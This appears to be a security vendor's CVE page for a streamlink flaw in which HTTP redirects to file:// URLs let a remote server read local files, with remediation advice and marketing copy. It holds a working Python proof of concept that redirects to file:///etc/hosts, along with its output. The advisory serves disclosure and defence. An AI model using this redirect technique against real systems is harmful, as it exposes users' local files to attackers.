CVE-2026-92164

CVE-2026-92164 is a medium-severity security vulnerability in streamlink (pip), affecting versions <= 8.5.0. It is fixed in 8.6.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files

HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling
unchanged from requests.Session. requests does not check for scheme downgrades or
cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can
be redirected by the remote server into file:///... and the local file is returned as the
response body.

GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS
playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a
manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch
time. The attack surface is the same one that advisory describes, but the flaw is one level down in
HTTPSession rather than in the streaming implementations, so it applies to every request the
session makes and not only to segment and manifest fetches.

Affected version

Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on
Python 3.12).

Attacker model

The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed
on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No
privileges on the victim host and no file:// input are required, and the file:// scheme never
appears in anything the victim or the manifest parser sees.

Proof of concept, executed

import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/segment":
            self.send_response(302)
            self.send_header("Location", "file:///etc/hosts")
            self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, *a):
        pass

srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()

s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested   http://127.0.0.1:%d/segment" % port)
print("final_url  ", res.url)
print("status     ", res.status_code)
print("content    ", res.content[:40])
srv.shutdown()

Output:

requested   http://127.0.0.1:52205/segment
final_url   file:///etc/hosts
status      200
content     b'##\n# Host Database\n#\n# localhost is used'

The request goes out over http, the response comes back from the local filesystem, and nothing in
between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts
returns that file's contents into whatever consumes the response, which for a segment fetch means
the file is written into the stream output.

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Impact

CVE-2026-92164 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.6.0); upgrading removes the vulnerable code path.

Affected versions

streamlink (<= 8.5.0)

Security releases

streamlink → 8.6.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect
whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it
on the session rather than through a response hook keeps plugin authors from removing the check by
overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own
scheme.

Frequently Asked Questions

  1. What is CVE-2026-92164? CVE-2026-92164 is a medium-severity security vulnerability in streamlink (pip), affecting versions <= 8.5.0. It is fixed in 8.6.0.
  2. How severe is CVE-2026-92164? CVE-2026-92164 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of streamlink are affected by CVE-2026-92164? streamlink (pip) versions <= 8.5.0 is affected.
  4. Is there a fix for CVE-2026-92164? Yes. CVE-2026-92164 is fixed in 8.6.0. Upgrade to this version or later.
  5. Is CVE-2026-92164 exploitable, and should I be worried? Whether CVE-2026-92164 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-92164 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-92164? Upgrade streamlink to 8.6.0 or later.

Other vulnerabilities in streamlink

Stop the waste.
Protect your environment with Kodem.